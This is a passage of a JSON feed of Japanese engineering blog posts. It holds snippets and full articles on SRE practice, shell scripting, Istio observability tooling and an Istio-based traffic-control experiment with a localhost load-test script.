近年、サービスの信頼性向上に向けた取り組みとして、SLI(Service Level Indicator)、SLO(Service […]The post SLI、SLO、エラーバジェット導入の前に知っておきたいこと first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/sli-slo-good-practices/","isoDate":"2024-07-30T03:12:29.000Z","dateMiliSeconds":1722309149000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Cloud Operator Days Tokyo 2024 にスリーシェイクのエンジニアが登壇","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)に在籍するエンジニアが、Cloud Operator Days 2024 実行委員会が主催する「Cloud Operator D […]The post Cloud Operator Days Tokyo 2024 にスリーシェイクのエンジニアが登壇 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/cloud-operator-days-tokyo-2024-%e3%81%ab%e3%82%b9%e3%83%aa%e3%83%bc%e3%82%b7%e3%82%a7%e3%82%a4%e3%82%af%e3%81%ae%e3%82%a8%e3%83%b3%e3%82%b8%e3%83%8b%e3%82%a2%e3%81%8c%e8%ac%9b%e5%b8%ab%e3%81%a8/","isoDate":"2024-07-25T01:11:09.000Z","dateMiliSeconds":1721869869000,"authorName":"Sreake","authorId":"Sreake"},{"title":"TTC Silent Bluish White Tactile Switchがよさげ","contentSnippet":"TTC Silent Bluish White Tactile Switchを購入しました。別所での評判の通り、押し始めのタクタイル感が強く、そのあとすとんと落ちる感じ。静音性も高い。軸のグラつきも気にならない。","link":"https://blog.atusy.net/2024/07/25/ttc-silent-bluish-white-tactile-switch/","isoDate":"2024-07-25T00:00:00.000Z","dateMiliSeconds":1721865600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"スリーシェイク、SRE NEXT 2024 にDIAMONDスポンサーとして協賛","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、 2024年8月3日(土)・8月4日(日)に@Abema Towersで開催される「SRE NEXT 2024」にDIAMO […]The post スリーシェイク、SRE NEXT 2024 にDIAMONDスポンサーとして協賛 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/srenext2024/","isoDate":"2024-07-23T01:18:53.000Z","dateMiliSeconds":1721697533000,"authorName":"Sreake","authorId":"Sreake"},{"title":"PandocでLuaオブジェクトをJSON文字列化する","contentSnippet":"ドキュメントの相互変換ツールであるPandocは、Lua言語のインタプリタを内蔵しており、便利なモジュールも様々に提供しています。pandoc luaでインタプリタを起動したり、pandoc lua hoge.luaでhoge.luaを実行したりもできちゃいます。","link":"https://blog.atusy.net/2024/07/23/pandoc-lua-to-json/","isoDate":"2024-07-23T00:00:00.000Z","dateMiliSeconds":1721692800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"シェルスクリプトのTipsを書いたブログがバズった。あるいは無名な若者にも優しくする。","contentSnippet":"社のブログがバズった。予想外の反響に驚きつつも、嬉しさを感じています。仕事の一環として書いた記事がここまで反響を呼ぶとは思ってもみませんでした。sreake.comシェルスクリプトの隠れた人気この記事の反響を見て、予想以上に多くの人々がシェルスクリプトに興味を持っていることに驚きました。正直、こんなにシェルスクリプトが愛されているとは思っていませんでした(みんな隠しながら生きてます?もしくは好きではないです?)。一方で、ShellCheckを紹介する記事があまり注目されなかったのは残念です。sreake.comシェルスクリプトとの出会い私のシェルスクリプトとの出会いは学生時代に遡ります。福岡でpapironさんが主催されていたシェル芸勉強会:福岡サテライトに参加したことが、シェルスクリプトの面白さに目覚めるきっかけとなりました。(あれ?募集がconnpassになってる)。papironさんの丁寧な指導のおかげで、知識も経験も浅かった私がシェルスクリプトの魅力に惹かれていきました。この経験は、私の技術キャリアと学習姿勢に大きな影響を与えました。今では自分も見知らぬ若者にも優しく接し、楽しかったという経験から勉強会にも積極的に参加するようになりました。逆に雑に扱われた人みたいなリストを作成しているのでいつか何らかの方法で発表しようとおもいます。シェルスクリプトの魅力シェルスクリプトの魅力は、その手軽さと強力さのバランスにあります。ちょっとしたタスクの自動化から複雑なシステム運用まで、幅広く対応できる柔軟性があります。また、ほとんどのUNIX系システムで標準で利用できるため、環境を選ばない点も大きな魅力です。今回の反響を見て、改めてシェルスクリプトの重要性を再確認しました。新しい言語やツールが次々と登場する中でも、シェルスクリプトは依然として多くの開発者や運用者にとって必要不可欠なツールであり続けています。その理由は、シンプルさと強力さ、そして長年培われてきた豊富なノウハウの蓄積にあるのではないでしょうか。これはほぼ日記技術の世界は日々進化していますが、シェルスクリプトの基本的な考え方や自動化へのアプローチは、これからも価値を持ち続けるでしょう。新しい技術との組み合わせによって、さらに強力なツールになる可能性も秘めています。みなさんも、ぜひシェルスクリプトの世界を探索してみてください。きっと新しい発見があるはずです。そして、あなたの経験や知識を他の人と共有することで、その時に無名な若者を入れることでコミュニティがさらに豊かになっていくことを願っています。技術を学ぶことは大切ですが、同時に人との関わりも大切にしてください。誰かが困っているときは手を差し伸べ、自分が困ったときは助けを求める勇気を持ちましょう。そうすることで、私たちのコミュニティはより強く、より温かいものになっていくはずです。シェルスクリプトについてより深く学びたい方にはブログも良いですが、「マスタリングLinuxシェルスクリプト 第2版 ―Linuxコマンド、bashスクリプト、シェルプログラミング実践入門」をおすすめします。この本は、シェルスクリプトの基礎から応用まで幅広くカバーしており、実践的なスキルを身につけるのに役立ちます。マスタリングLinuxシェルスクリプト 第2版 ―Linuxコマンド、bashスクリプト、シェルプログラミング実践入門作者:Mokhtar Ebrahim,Andrew Mallettオライリー・ジャパンAmazon","link":"https://syu-m-5151.hatenablog.com/entry/2024/07/22/165742","isoDate":"2024-07-22T07:57:42.000Z","dateMiliSeconds":1721635062000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Webサイトを自律攻撃するLLMのロジックを考えた","contentSnippet":"目次 はじめに LLMによるハッキングの先行事例 シンプルなAssistants API を用いた攻撃 自律攻撃を行うエージェント 効果的なエージェントの作成の既存手法 3エージェントによる計画・実行・再計画のループ機構 […]The post Webサイトを自律攻撃するLLMのロジックを考えた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/llm_hacker_gpt/","isoDate":"2024-07-22T01:00:00.000Z","dateMiliSeconds":1721610000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Raspberry Pi 4 での USB Strage Driver","contentSnippet":"おうちの Raspberry Pi4 は USB で SSD Driver を接続して Samba で File Server にしているわけですが 多くの Read/Write を行うとなぜか OS ごと Hangup するという問題がありました。 最初は電源不足かなと思","link":"https://blog.1q77.com/2024/07/raspberry-pi4-usb-strage-driver/","isoDate":"2024-07-20T10:19:30.000Z","dateMiliSeconds":1721470770000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"モダンインフラの基礎を学ぼう!実践コンテナ入門","contentSnippet":"技育CAMPアカデミアでの発表資料です\\rhttps://talent.supporterz.jp/events/8cb9a300-506c-4d9d-b2af-e9924e0209a2/","link":"https://speakerdeck.com/bells17/motaninhuranoji-chu-woxue-hou-shi-jian-kontenaru-men","isoDate":"2024-07-17T04:00:00.000Z","dateMiliSeconds":1721188800000,"authorName":"bells17","authorId":"bells17"},{"title":"Grafana Beylaの出来るコト出来ないコト","contentSnippet":"この記事は、2024/6/28に登壇したJagu\'e\'r Jagu\'e\'r O11y-SRE \xd7 CloudNative コラボ Meetupのリマスターになります。 分散トレーシングの悩み突然ですが皆さん、分散トレーシングを実装する際、一度はこんなことを考えた経験はありませんか?特にクラウドインフラ出身の私は、意気揚々と分散トレーシングを実装しようとした時に、アプリケーションコードが書けずに全く歯が立たなかった苦い経験があります。。。でも、、ということで、本記事ではBeylaとは何者なのか、従来の分散トレーシングとは何が違うのかを解説していきます!\uD83D\uDCAA 分散トレーシ...","link":"https://zenn.dev/kojake_300/articles/4238a66124d095","isoDate":"2024-07-15T15:07:47.000Z","dateMiliSeconds":1721056067000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":" トラフィック制御を実装したIstioの設定をKialiなどで確認する","contentSnippet":"はじめに前回の記事でKubernetesとIstioを使ってトラフィック制御システムを作ったわけですが、そんな複雑なものを作っておいて「はい、終わり」じゃあんまりですよね。Istio in Action (English Edition)作者:Posta, Christian E.,Maloku, RinorManningAmazon今回は、その中身をちゃんと理解しようというわけです。Kiali、Jaeger、Grafana、それにEnvoy APIといった名前を聞いて、尻込みしてしまう人がいるかもしれません。でも心配いりません。これらのツールを使えば、Istioの設定がどのように動いているか、チェックできます。ちなみに、この情報は Istio にやたらと詳しい地下強制労働者さんから聞いた話です。彼の知識には頭が下がります。正直、面倒くさいと思う部分もありますが、こういうツールがあるおかげで、私たちはこんな複雑なシステムを扱えているんですよね。まあ、眠くならないように頑張って説明しますから、少しはついてきてください。きっと最後には「へぇ、こんなことができるんだ」って思えるはずです。...たぶん。1. Istio のゆかいなアドオンのインストールと設定1.1 Prometheusのインストールまず、Prometheusをインストールします。Prometheusは、メトリクスの収集と保存を担当します。kubectl apply -f https://raw.githubusercontent.com/istio/istio/release-1.22/samples/addons/prometheus.yaml1.2 Kialiのインストール次に、Kialiをインストールします。Kialiは、サービスメッシュの可視化とモニタリングを提供します。kubectl apply -f https://raw.githubusercontent.com/istio/istio/release-1.22/samples/addons/kiali.yaml1.3 JaegerのインストールJaegerは、分散トレーシングを提供し、マイクロサービス間の要求の流れを可視化します。kubectl apply -f https://raw.githubusercontent.com/istio/istio/release-1.22/samples/addons/jaeger.yaml1.4 Grafanaのインストール最後に、Grafanaをインストールします。Grafanaは、メトリクスの視覚化とダッシュボード作成のためのツールです。kubectl apply -f https://raw.githubusercontent.com/istio/istio/release-1.22/samples/addons/grafana.yaml1.5 インストールの確認すべてのコンポーネントが正常にデプロイされたことを確認します。kubectl get pods -n istio-system2. 各ツールへのアクセス設定2.1 Kialiへのアクセスkubectl port-forward svc/kiali 20001:20001 -n istio-systemブラウザで http://localhost:20001 にアクセスしてKialiのダッシュボードを開きます。2.2 Jaegerへのアクセスkubectl port-forward svc/tracing 16686:80 -n istio-systemブラウザで http://localhost:16686 にアクセスしてJaegerのUIを開きます。2.3 Grafanaへのアクセスkubectl port-forward svc/grafana 3000:3000 -n istio-systemブラウザで http://localhost:3000 にアクセスしてGrafanaのダッシュボードを開きます。]3. Kialiを使用したIstio設定の可視化3.1 サービスグラフの確認Kialiのダッシュボードで「Graph」タブを選択し、「Namespace」で「default」を選択します。ここで、前回設定したwaiting-room-appサービスとそのトラフィックフローを確認できます。3.2 VirtualServiceの確認「Istio Config」タブを選択し、「VirtualService」を探します。waiting-room-vsをクリックすると、詳細な設定を確認できます。トラフィックルーティングルールタイムアウト設定リトライ設定フォールト注入(遅延)設定3.3 DestinationRuleの確認同じく「Istio Config」タブで、「DestinationRule」のwaiting-room-drを確認します。接続プール設定負荷分散設定異常検知設定3.4 Gatewayの確認「Istio Config」タブで「Gateway」のwaiting-room-gatewayを確認し、外部トラフィックの受け入れ設定を確認します。4. Jaegerを使用したトレーシングの確認JaegerのUIで、サービス名(例:waiting-room-app)を選択し、トレースを検索します。各トレースは、リクエストがシステムを通過する際の詳細な経路と時間を示します。トレースの詳細を確認し、各スパンのレイテンシーを分析します。これにより、どの部分で遅延が発生しているかを特定できます。エラーが発生した場合にはトレースを確認し、問題の原因を特定します。5. Grafanaを使用したメトリクスの可視化Grafanaは、Istioで構築されたシステムのメトリクス可視化ツールとして活用できる可能性があります。主に以下の3つの側面から構成されることが考えられます:Istio関連の既存ダッシュボード(Mesh、Service、Workload)の活用システム固有のカスタムダッシュボード作成(リクエスト数、レスポンスタイムなど)重要メトリクスに対するアラート設定これらの機能を通じて、システムのパフォーマンスと健全性をより効果的に監視し、潜在的な問題の早期発見や運用判断の一助となる可能性があります。6. Envoy APIを使用した詳細設定の確認Envoy APIを使用することで、Istioの詳細な設定を確認できる可能性があります。以下に、主要な設定を確認する方法を示します。6.1 クラスター設定の確認クラスター設定を確認するには、以下のコマンドを実行します。kubectl exec -it $(kubectl get pod -l app=waiting-room-app -o jsonpath=\'{.items[0].metadata.name}\') -c istio-proxy -- curl localhost:15000/config_dump | grep -n -e \'@type.*ClustersConfigDump\' -e \'waiting-room-app\'このコマンドにより、waiting-room-appサービスに関連するクラスター設定が表示される可能性があります。接続プールの設定や異常検知の設定を確認できるかもしれません。6.2 リスナー設定の確認リスナー設定を確認するには、以下のコマンドを実行します。kubectl exec -it $(kubectl get pod -l app=waiting-room-app -o jsonpath=\'{.items[0].metadata.name}\') -c istio-proxy -- curl localhost:15000/config_dump | grep -n -e \'@type.*ListenersConfigDump\' -e \'route_config_name\'この出力から、VirtualServiceで設定したトラフィックルーティングルールやフォールト注入の設定を確認できる可能性があります。6.3 ルート設定の確認ルート設定を確認するには、以下のコマンドを実行します。kubectl exec -it $(kubectl get pod -l app=waiting-room-app -o jsonpath=\'{.items[0].metadata.name}\') -c istio-proxy -- curl localhost:15000/config_dump | grep -n -e \'@type.*RoutesConfigDump\' -e \'route_config_name\'この出力から、VirtualServiceで設定したタイムアウトやリトライの設定を確認できるかもしれません。6.4 設定の詳細分析より詳細な分析が必要な場合は、設定をファイルに保存し、ローカル環境で解析することも考えられます:kubectl exec -it $(kubectl get pod -l app=waiting-room-app -o jsonpath=\'{.items[0].metadata.name}\') -c istio-proxy -- curl localhost:15000/config_dump > envoy_config.jsonこれらの方法を通じて、Envoy APIを使用したIstioの詳細設定の確認ができる可能性があります。ただし、実際の出力や確認できる情報は、システムの構成や設定によって異なる場合があることにご注意ください。7. 統合分析と最適化7.1 パフォーマンスの総合評価Kiali、Jaeger、Grafana、およびEnvoy APIから得られた情報を統合して、システム全体のパフォーマンスを評価します。7.2 ボトルネックの特定各ツールの情報を突き合わせて、システムのボトルネックを特定します。例えば、Jaegerのトレースで特定の処理に時間がかかっていることが分かり、同時にGrafanaでそのサービスのCPU使用率が高いことが確認できれば、そのサービスのリソース割り当てを見直す必要があるかもしれません。7.3 設定の最適化特定された問題に基づいて、Istioの設定(VirtualService、DestinationRule、Gatewayなど)を最適化します。例えば、タイムアウトの調整、リトライ回数の変更、負荷分散ポリシーの修正などを行います。7.4 継続的なモニタリングと改善設定変更後も継続的にシステムをモニタリングし、パフォーマンスの変化を観察します。必要に応じて更なる最適化を行います。8. まとめさて、長々と説明してきましたが、結局のところ何が言いたかったかって?本記事の要点は、Kiali、Jaeger、Grafana、そしてEnvoy APIといった各種ツールが、Istioの運用管理において非常に有用だということです。これらのツールを適切に活用することで、Istioの複雑な設定や動作状況を詳細に可視化し、効率的に分析することが可能になります。結果として、システムの挙動をより深く理解し、適切に管理できるようになるのです。Jaegerでシステムの動きを追跡し、Grafanaでそれを見やすいグラフに変換する。そうすることで、システムの挙動が少しずつ見えてくる。潜在的な問題? そりゃあ、早めに見つかれば御の字ですよ。でも、見つけられるようになったこと自体がすごいんです。次回は何をするかって? はいはい、トラフィックの流れを観察して、待ち行列をもっと効率的に管理する方法を探ります。リアルタイムで監視して、状況に応じて設定を調整する...なんて、ちょっとワクワクしませんか? ...いや、本当に楽しみにしてる人もいるんですよ。知らんけど。確かに、こういった作業は面倒くさく感じることもあります。でも、これらのツールのおかげで、複雑なシステムが滑らかに動いていることが確認できるんです。結局のところ、ユーザーに最高の体験を提供できること、それが仕事の醍醐味じゃないでしょうか。...まあ、お疲れ様でした。次回も適度にご期待ください。参考リンクKiali - Observability for IstioJaeger - Open source, end-to-end distributed tracingGrafana - The open observability platformIstio - Debugging Envoy and IstiodEnvoy - Admin interfaceIstio - Traffic Management Best PracticesPrometheus - Getting StartedIstio - Observability","link":"https://syu-m-5151.hatenablog.com/entry/2024/07/15/234513","isoDate":"2024-07-15T14:45:13.000Z","dateMiliSeconds":1721054713000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"「Efficient Linux コマンドライン」から学んだこと","contentSnippet":"はじめに本記事では、「Efficient Linux コマンドライン」を読んで、私自身が新たに学んだことについてメモしています。私がすでに知っていた情報については本記事に書いていないため、興味があればお手元に買って読んでみてください。この記事には書いていないこともたくさん書いてあります。この本の対象読者としては、Linuxの勉強を1からしたい人というよりは、Linuxをそこそこ触ったことがある人になると思います。\\"そこそこ触ったことがある\\"のレベルとしては、コマンドでディレクトリを変更したり、プログラムを実行したりしていれば十分です。336ページとそこまで長くもなく、またLi...","link":"https://zenn.dev/moz_sec/articles/2a849651de3fe1","isoDate":"2024-07-15T08:51:51.000Z","dateMiliSeconds":1721033511000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"ShellScriptで自動化を楽にしたい時に知っておいても良いこと","contentSnippet":"はじめに こんにちは、皆さん。今日は、シェルスクリプトを使った高度な自動化のベストプラクティスとパターンについて解説します。これらは、ちょっとした知識で実行でき、作業を大幅に効率化できるTipsです。シェルスクリプトは、 […]The post ShellScriptで自動化を楽にしたい時に知っておいても良いこと first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/shellscript-good-practices/","isoDate":"2024-07-14T23:08:45.000Z","dateMiliSeconds":1720998525000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Keycloakの歴史とSSO","contentSnippet":"社内LT","link":"https://speakerdeck.com/melanmeg/keycloaknoli-shi-tosso","isoDate":"2024-07-13T04:00:00.000Z","dateMiliSeconds":1720843200000,"authorName":"Naoya Yamamoto","authorId":"melanmeg"},{"title":"Istioによるトラフィック制御で仮想待合室システムを目指すけどもやな","contentSnippet":"この記事では仮想待合室システムを目指すけども結局はできておらずIstioのトラフィック制御までがメインです。方針は決まったが睡魔に負けたのでこの記事はここまではじめに登壇で抽象度の高いことを人前で喋ってとても心が疲れたので技術者として手を動かしたいです。深夜ノリなのでガバガバである。今回は、Istio を用いて仮想待合室が作りたくなってたのでKubernetes環境でIstioを使用してトラフィック制御を実装する方法について、解説します。この記事では、将来的な仮想待合室システムの構築を視野に入れつつ、まずはトラフィック制御の基本的な実装に焦点を当てます。Kindを使用したローカル開発環境の構築から、Istioによるトラフィック管理の設定、そして実際のテストを実行します。Istio in Action (English Edition)作者:Posta, Christian E.,Maloku, RinorManningAmazon1. 環境セットアップまず、必要なツールをインストールしていることを確認してください。DockerKind (Kubernetes in Docker)kubectlIstioctl1.1 Kindクラスターの作成Kindを使用してローカルKubernetesクラスターを作成します。以下の内容でkind-config.yamlファイルを作成してください。kind: ClusterapiVersion: kind.x-k8s.io/v1alpha4nodes:- role: control-plane kubeadmConfigPatches: - | kind: InitConfiguration nodeRegistration: kubeletExtraArgs: node-labels: \\"ingress-ready=true\\" extraPortMappings: - containerPort: 80 hostPort: 80 protocol: TCP - containerPort: 443 hostPort: 443 protocol: TCPこの設定ファイルは、Kindクラスターにポート80と443のマッピングを追加し、Ingressコントローラーの準備をします。次に、以下のコマンドでKindクラスターを作成します。kind create cluster --name traffic-control --config kind-config.yaml1.2 IstioのインストールIstioをインストールし、デフォルトの名前空間にIstio injectionを有効化します。istioctl install --set profile=demo -ykubectl label namespace default istio-injection=enabled2. アプリケーションの準備2.1 Goアプリケーションの作成以下の内容でmain.goファイルを作成します。package mainimport ( \\"fmt\\" \\"net/http\\")func main() { http.HandleFunc(\\"/\\", func(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \\"Welcome to the main content!\\") }) http.ListenAndServe(\\":8080\\", nil)}2.2 Dockerfileの作成FROM golang:1.22WORKDIR /appCOPY go.mod go.sum ./RUN go mod downloadCOPY main.go .RUN go build -o main .CMD [\\"./main\\"]2.3 イメージのビルドとロードdocker build -t waiting-room-app:latest .kind load docker-image waiting-room-app:latest --name traffic-control3. Kubernetesリソースの定義3.1 Kubernetes リソースの作成waiting-room.yaml を作成するapiVersion: apps/v1kind: Deploymentmetadata: name: waiting-room-appspec: replicas: 1 selector: matchLabels: app: waiting-room-app template: metadata: labels: app: waiting-room-app spec: containers: - name: waiting-room-app image: waiting-room-app:latest imagePullPolicy: Never ports: - containerPort: 8080---apiVersion: v1kind: Servicemetadata: name: waiting-room-appspec: selector: app: waiting-room-app ports: - protocol: TCP port: 80 targetPort: 80803.2 Istioリソースの定義istio-rules.yamlファイルには、Istioの主要な3つのリソース(VirtualService、DestinationRule、Gateway)が定義されています。これらのリソースは、仮想待合室システムのトラフィック制御と負荷管理を実現する上で重要な役割を果たします。VirtualService:VirtualServiceは、トラフィックのルーティングルールを定義します。 apiVersion: networking.istio.io/v1alpha3 kind: VirtualService metadata: name: waiting-room-vs spec: hosts: - \\"*\\" gateways: - waiting-room-gateway http: - route: - destination: host: waiting-room-app port: number: 80 timeout: 1s retries: attempts: 3 perTryTimeout: 500ms fault: delay: percentage: value: 80 fixedDelay: 5s hosts: \\"*\\": すべてのホストからのトラフィックに適用されます。 gateways: - waiting-room-gateway: 特定のゲートウェイを通過するトラフィックにのみ適用されます。 route: トラフィックを waiting-room-app サービスの80ポートにルーティングします。 timeout: 1s: リクエストの最大待機時間を1秒に設定します。 retries: 失敗したリクエストを最大3回、500ミリ秒間隔で再試行します。 fault: 80%のトラフィックに5秒の遅延を導入します。これにより、仮想待合室の「待ち時間」をシミュレートします。DestinationRule:DestinationRuleは、トラフィックのロードバランシングと接続プールの設定を定義します。 apiVersion: networking.istio.io/v1alpha3 kind: DestinationRule metadata: name: waiting-room-dr spec: host: waiting-room-app trafficPolicy: connectionPool: tcp: maxConnections: 10 http: http1MaxPendingRequests: 1 maxRequestsPerConnection: 1 outlierDetection: consecutive5xxErrors: 1 interval: 1s baseEjectionTime: 3m maxEjectionPercent: 100 host: waiting-room-app: このルールが適用されるサービスを指定します。 connectionPool: 同時接続数を10に制限し、保留中のリクエストと接続あたりのリクエスト数を1に制限します。これにより、サーバーの過負荷を防ぎます。 outlierDetection: 連続して5xxエラーが発生した場合、そのインスタンスを3分間トラフィックから除外します。これにより、問題のあるインスタンスを自動的に切り離し、システムの安定性を維持します。Gateway:Gatewayは、メッシュへの入口となる外部トラフィックの受け入れ口を定義します。 apiVersion: networking.istio.io/v1alpha3 kind: Gateway metadata: name: waiting-room-gateway spec: selector: istio: ingressgateway servers: - port: number: 80 name: http protocol: HTTP hosts: - \\"*\\" selector: istio: ingressgateway: Istioの標準的なIngressゲートウェイを使用します。 servers: HTTP トラフィックを80ポートで受け入れ、すべてのホストからのリクエストを許可します。これらのリソースを組み合わせることで、以下のような仮想待合室の動作を実現します。外部からのトラフィックはGatewayを通じて受け入れられます。VirtualServiceにより、80%のトラフィックに5秒の遅延が導入され、待ち時間が発生します。DestinationRuleにより、同時接続数が制限され、システムの過負荷が防止されます。問題が発生した場合、自動的にトラフィックが健全なインスタンスにリダイレクトされます。4. リソースの適用以下のコマンドでKubernetesリソースを適用します。kubectl apply -f waiting-room.yamlkubectl apply -f istio-rules.yaml5. アクセスの設定Istio IngressGatewayにアクセスするために、kubectl port-forwardコマンドを使用します。kubectl port-forward -n istio-system svc/istio-ingressgateway 8080:80このコマンドにより、ローカルマシンの8080ポートがIstio IngressGatewayの80ポートに転送されます。これにより、http://localhost:8080でアプリケーションにアクセスできるようになります。6. 動作確認とテスト6.1 基本的な動作確認新しいターミナルウィンドウを開き、以下のコマンドでアプリケーションにアクセスしてみましょう:curl http://localhost:80806.2 負荷テストスクリプト以下の内容でload_test.shスクリプトを作成します。#!/bin/bashCONCURRENT=10TOTAL_REQUESTS=50RESULTS_DIR=\\"access_test_results\\"mkdir -p \\"$RESULTS_DIR\\"make_request() { local id=$1 local start_time=$(date +%s.%N) local http_code=$(curl -s -o /dev/null -w \\"%{http_code}\\" http://localhost:8080) local end_time=$(date +%s.%N) local duration=$(echo \\"$end_time - $start_time\\" | bc) echo \\"$id,$http_code,$duration\\" >> \\"$RESULTS_DIR/results.csv\\"}echo \\"RequestID,HTTPCode,Duration\\" > \\"$RESULTS_DIR/results.csv\\"for i in $(seq 1 $TOTAL_REQUESTS); do make_request $i & if (( i % CONCURRENT == 0 )); then wait fidonewaitecho \\"All requests completed. Results saved in $RESULTS_DIR/results.csv\\"echo \\"===============================テスト結果サマリー===============================\\"echo \\"総リクエスト数: $TOTAL_REQUESTS\\"echo \\"同時接続数: $CONCURRENT\\"echo -e \\"\\\\nHTTPステータスコード分布:\\"status_codes=$(sort \\"$RESULTS_DIR/results.csv\\" | cut -d\',\' -f2 | sort | uniq -c | sort -nr)total_success=$(echo \\"$status_codes\\" | grep \\" 200\\" | awk \'{print $1}\')total_success=${total_success:-0}echo \\"$status_codes\\" | while read count code; do if [ \\"$code\\" != \\"HTTPCode\\" ]; then percentage=$(echo \\"scale=2; $count / $TOTAL_REQUESTS * 100\\" | bc) printf \\"%s: %s (%.2f%%)\\\\n\\" \\"$code\\" \\"$count\\" \\"$percentage\\" bar=$(printf \'%0.s#\' $(seq 1 $(echo \\"$percentage/2\\" | bc))) printf \\" %s\\\\n\\" \\"$bar\\" fidonesuccess_rate=$(echo \\"scale=2; $total_success / $TOTAL_REQUESTS * 100\\" | bc)echo -e \\"\\\\n成功率(200 OKの割合): ${success_rate}%\\"echo -e \\"\\\\n応答時間統計:\\"awk -F\',\' \' NR>1 { sum+=$3; sumsq+=$3*$3; if(NR==2 || $3max) max=$3; } END { avg=sum/NR; std=sqrt(sumsq/NR - avg*avg); printf \\"最小: %.2f秒\\\\n\\", min; printf \\"最大: %.2f秒\\\\n\\", max; printf \\"平均: %.2f秒\\\\n\\", avg; printf \\"標準偏差: %.2f秒\\\\n\\", std; }\' \\"$RESULTS_DIR/results.csv\\"echo -e \\"\\\\n注: 詳細な結果は $RESULTS_DIR/results.csv に保存されています。\\"このスクリプトに実行権限を付与し、実行します。chmod +x load_test.sh./load_test.sh7. 結果の分析テストスクリプトの実行結果を分析しましょう。以下は典型的な結果の例です。All requests completed. Results saved in access_test_results/results.csv===============================テスト結果サマリー===============================総リクエスト数: 50同時接続数: 10HTTPステータスコード分布:503: 36 (72.00%) ####################################200: 14 (28.00%) ##############成功率(200 OKの割合): 28.00%応答時間統計:最小: 0.00秒最大: 5.00秒平均: 4.02秒標準偏差: 1.99秒注: 詳細な結果は access_test_results/results.csv に保存されています。結果の説明アクセス制限の効果: 72%のリクエストが503 (Service Unavailable) エラーを返しており、設定したアクセス制限が効果的に機能していることがわかります。遅延の導入: 平均応答時間が4.02秒、最大が5.00秒となっており、VirtualServiceで設定した5秒の遅延が適切に適用されていることが確認できます。成功率: 28%のリクエストのみが成功(200 OK)しており、トラフィック制御システムが効果的にリクエストを制限していることを示しています。応答時間のばらつき: 標準偏差が1.99秒と大きいことから、一部のリクエストは即座に処理され、他は遅延が適用されていることがわかります。これは、設定した80%のトラフィックへの遅延導入が機能していることを示しています。8. まとめこの記事では、Kubernetes上でトラフィック制御を実装し、スケーラブルな待機システムを構築する基礎部分を解説しました。Kindを使用したローカル開発環境の構築から、Istioによるトラフィック管理、負荷テストの実施までを紹介しました。この手法は、大規模イベントやセール時のトラフィック急増への対策として有効です。しかし、実際の運用では、継続的なモニタリングやビジネス側との調整に加え、本格的な仮想待合室システムの構築には、待ち行列管理やユーザーインターフェースの実装が不可欠になります。これらの要素については、次回の記事ではRedisやEnvoyFilterなどを活用した具体的な実装方法と合わせて詳しく解説していく予定です。お楽しみに!おやすみなさい\uD83D\uDE2A9. 参考リンクIstioトラフィック管理の概要Istioを使用したトラフィックシェーピングKubernetes: リソース管理Queue-It: 仮想待合室システムAzure: 負荷緩和パターンNGINX: トラフィック制御とキュー管理サーバーレスで仮想待合室を作ろう! / Serverless Virtual Waiting RoomGoで実装された高速な仮想待合室サーバの実装と詳解","link":"https://syu-m-5151.hatenablog.com/entry/2024/07/10/120448","isoDate":"2024-07-10T03:04:48.000Z","dateMiliSeconds":1720580688000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"『Platform Engineering とSREの門』という間違ったみたいなタイトルで登壇しました。 #PEK2024","contentSnippet":"はじめにこんにちは。先日、Platform Engineering Kaigi 2024にて「Platform Engineering とSREの門」というタイトルで登壇させていただきました。www.cnia.ioPlatform EngineeringとSREは、多くのソフトウェアエンジニアにとっては馴染みのない分野かもしれません。私自身、最初はこれらを比較することに抵抗がありました。しかし、SNSで不毛に続くやり取りを見ていると本当に鬱陶しいと感じるようになりこの戦争を終わらせに来た!!!!みたいなノリで登壇し始めました。ここ数年の経験を通じて、Platform EngineeringとSREが目指す先は同じだということがわかっていました。システムの信頼性と開発生産性、効率性の向上という似たような目標に向かって、異なるアプローチで取り組んでいるのです。これらの分野の強みを理解し、比較することでより効果的でそれぞれの組織らしいシステム運用が可能になると考えました。具体と抽象作者:細谷 功dZERO(インプレス)Amazon今回のセッションでは、両分野の特徴と、それらを融合させることの意義について話させていただきました。メテオブラックドラゴン召喚です。アプローチや視点を変えることで得られる新たな知見や、より良いソリューションの可能性について共有できたと思います。多くの方から貴重なフィードバックをいただき、大変嬉しく思います。これらの意見は、モチベーションに繋がるのでありがたいです。なお、Platform EngineeringとSREを比較する登壇は今回で3回目となりました。今後は、特別な要望がない限り、この主題での自主的な登壇は控えさせていただこうと考えています。ただし、ご要望があれば喜んでお話しさせていただきますので、お気軽にお声がけください。登壇資料普通に笑いが起きるかなって思ってたんですけど大きくスベりました。 speakerdeck.com今回の発表では、予想と異なる反応があり、自分の考えと聴衆の期待にズレがあったことを実感しました。がこういった経験も、今後の改善につながる貴重なフィードバックだと捉えています。まず、登壇したことが偉いので、はい。参考資料今回のイベントを含め、Platform Engineering、SRE、開発生産性、プロダクトマネジメントに関する優れた資料が多数存在します。以下に、これらの分野について理解を深めるのに役立つ資料をリストアップしました。これらの資料は、理論的な基礎から実践的なアプローチまで幅広くカバーしており、各分野の最新トレンドや洞察を得るのに適しています。また、実際の現場での適用例や、組織設計、チーム構築に関する情報も含まれています。興味のある分野や、現在直面している課題に応じて、以下の資料を参照することをおすすめします。これらの知見は、より効果的なシステム運用や組織づくりに貢献するでしょう。O\'Reilly Japan – SRE 